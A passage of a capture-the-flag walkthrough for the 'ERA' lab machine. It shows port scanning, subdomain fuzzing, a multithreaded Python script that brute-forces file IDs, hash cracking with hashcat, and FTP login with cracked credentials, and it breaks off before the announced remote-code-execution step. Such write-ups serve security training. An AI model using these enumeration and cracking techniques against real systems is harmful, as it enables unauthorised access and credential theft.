Box Details:

  • Name: ERA
  • Difficulty: Medium
  • OS: Linux (Ubuntu)
  • Key Skills: Subdomain enumeration, File upload exploitation, SQL injection, FTP enumeration, PHP wrapper exploitation, Binary replacement privilege escalation

Executive Summary

This box involves discovering a file management subdomain, exploiting weak authentication mechanisms, leveraging PHP SSH2 wrappers for RCE, and performing a binary replacement attack for privilege escalation.

Attack Chain:

  1. Subdomain enumeration → File management portal
  2. Account registration → Database backup discovery
  3. Password hash cracking → FTP access
  4. Admin account takeover → PHP wrapper RCE
  5. Binary replacement → Root access

Enumeration

Initial Port Scan

We start with a comprehensive nmap scan to identify open ports and running services:

nmap -A -p- 10.10.x.x 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 00:02 +05
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)

Port Analysis:

  • Port 21: FTP service running vsftpd 3.0.5
  • Port 80: HTTP service running nginx 1.18.0 on Ubuntu

The main website on port 80 showed no useful content that could be exploited, which is why we proceeded to subdomain enumeration.

Subdomain Discovery

Since the main website has nothing useful to be exploited, we perform subdomain enumeration to discover additional attack surfaces:

ffuf -w /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt \
-H "Host:FUZZ.era.htb" \
-u http://era.htb/ -mc 200

Command Breakdown:

  • -w: Specifies the wordlist for subdomain fuzzing
  • -H "Host:FUZZ.era.htb": Sets the Host header with FUZZ as placeholder
  • -u http://era.htb/: Target URL
  • -mc 200: Match HTTP status code 200 (successful responses)

Discovery Result: We found the file subdomain

An image to describe post

We add the discovered subdomain to our /etc/hosts file next to the main domain:

10.10.x.x era.htb file.era.htb

File Management Portal Analysis

Navigating to http://file.era.htb, we discover a file management system with multiple functionalities:

An image to describe post

Available Features:

  • Manage files: File management interface
  • Upload files: File upload functionality
  • Update security question: Security question management
  • Login system: User authentication

Critical Observation: All of these functions require login authentication. However, we notice that the security question update feature can target any user as long as we know the correct username - this will become exploitable later when we discover usernames.


Initial Access

User Registration & System Exploration

Since we need access to the system, we start by registering a new user account:

Registration Process:

  • Navigate to http://file.era.htb/register.php
  • Create a new user account

An image to describe post

User Dashboard Analysis

After successful registration and login, we access the user dashboard:

An image to describe post

Dashboard Features:

  • File Management: Users can manage their uploaded files
  • File Upload: Users can upload files to the system
  • Security Questions: Users can update security questions for any username (potential vulnerability)

File Upload Testing

We test the file upload functionality and make several important discoveries:

An image to describe post

Upload Analysis:

  1. No file type verification: The system accepts any file type without validation
  2. No direct file access: Uploaded files cannot be accessed directly via URL
  3. Download script access: Files are accessible through a download script that downloads files to the user rather than executing them

This means we cannot directly execute uploaded files, but we can use the upload feature to discover other files in the system.

Automated File ID Enumeration

Since files are accessed via download.php?id=X, we create a script to brute force file IDs and discover existing files. We can use Burp Suite Intruder or the following Python script:

import requests
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor, as_completed

# Configurations
base_url = "http://file.era.htb/download.php?id="
start_id = 1
end_id = 3000
max_threads = 50  # Increase/decrease based on your bandwidth & target server

cookies = {
    "PHPSESSID": "YOUR COOKIE" # Get YOUR COOKIE
}

def check_id(file_id):
    url = f"{base_url}{file_id}"
    try:
        response = requests.get(url, cookies=cookies, timeout=5)
        content = response.text

        if "Your Download Is Ready!" in content:
            soup = BeautifulSoup(content, "html.parser")
            file_link = soup.find("a", href=True)
            filename = file_link.text.strip() if file_link else "Unknown File"
            return f"[+] ID {file_id} -> ✅ FOUND: {filename}"
        elif "The file you requested doesn't exist" in content:
            return f"[-] ID {file_id} -> ❌ Not Found"
        else:
            return f"[?] ID {file_id} -> Unknown response"
    except Exception as e:
        return f"[!] ID {file_id} -> Error: {e}"

# Run in parallel
with ThreadPoolExecutor(max_workers=max_threads) as executor:
    futures = [executor.submit(check_id, i) for i in range(start_id, end_id + 1)]
    for future in as_completed(futures):
        print(future.result())

Script Functionality:

  • Multi-threaded scanning: Uses ThreadPoolExecutor for fast parallel requests
  • Response analysis: Checks for "Your Download Is Ready!" to identify valid files
  • Error handling: Manages timeouts and connection errors
  • Session management: Uses cookies to maintain authenticated session

After running the script, we discover two critical files:

An image to describe post

Critical Files Discovered:

http://file.era.htb/download.php?id=150 -> signing.zip
http://file.era.htb/download.php?id=54  -> site-backup-30-08-24.zip

Database Analysis & Credential Extraction

We download both files and examine their contents. The backup file (site-backup-30-08-24.zip) contains SQLite database files:

An image to describe post

Database Content Analysis:

  • User credentials: The database contains user accounts and password hashes
  • System configuration: Database structure reveals application architecture

Users and Hashes Discovered:

admin_ef01cab31aa
Maria
eric
veronica
yuri
john
ethan

Password Hash Cracking

We extract the password hashes and attempt to crack them using hashcat:

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Hashcat Parameters:

  • -m 3200: Specifies bcrypt hash mode
  • hashes.txt: File containing extracted password hashes
  • /usr/share/wordlists/rockyou.txt: Common password wordlist

Successful Cracks:

An image to describe post

$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang

Cracked Credentials:

  • eric:america
  • yuri:mustang

An image to describe post

FTP Service Exploration

With the cracked credentials, we test FTP access for both users. Only yuri has FTP access:

An image to describe post

FTP Connection:

ftp 10.10.x.x
Username: yuri
Password: mustang

FTP Directory Structure:

ftp> ls 
229 Entering Extended Passive Mode (|||35269|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.

Apache2 Configuration Files:

ftp> ls apache2_conf
229 Entering Extended Passive Mode (|||58863|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            1332 Dec 08  2024 000-default.conf
-rw-r--r--    1 0        0            7224 Dec 08  2024 apache2.conf
-rw-r--r--    1 0        0             222 Dec 13  2024 file.conf
-rw-r--r--    1 0        0             320 Dec 08  2024 ports.conf
226 Directory send OK.

PHP8.1 Configuration Files:

ftp> ls php8.1_conf
229 Entering Extended Passive Mode (|||48928|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 build
-rw-r--r--    1 0        0           35080 Dec 08  2024 calendar.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 ctype.so
-rw-r--r--    1 0        0          190728 Dec 08  2024 dom.so
-rw-r--r--    1 0        0           96520 Dec 08  2024 exif.so
-rw-r--r--    1 0        0          174344 Dec 08  2024 ffi.so
-rw-r--r--    1 0        0         7153984 Dec 08  2024 fileinfo.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 ftp.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 gettext.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 iconv.so
-rw-r--r--    1 0        0         1006632 Dec 08  2024 opcache.so
-rw-r--r--    1 0        0          121096 Dec 08  2024 pdo.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 pdo_sqlite.so
-rw-r--r--    1 0        0          284936 Dec 08  2024 phar.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 posix.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 readline.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 shmop.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 simplexml.so
-rw-r--r--    1 0        0          104712 Dec 08  2024 sockets.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 sqlite3.so
-rw-r--r--    1 0        0          313912 Dec 08  2024 ssh2.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvmsg.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 sysvsem.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvshm.so
-rw-r--r--    1 0        0           35080 Dec 08  2024 tokenizer.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 xml.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 xmlreader.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 xmlwriter.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 xsl.so
-rw-r--r--    1 0        0           84232 Dec 08  2024 zip.so

Critical Discovery: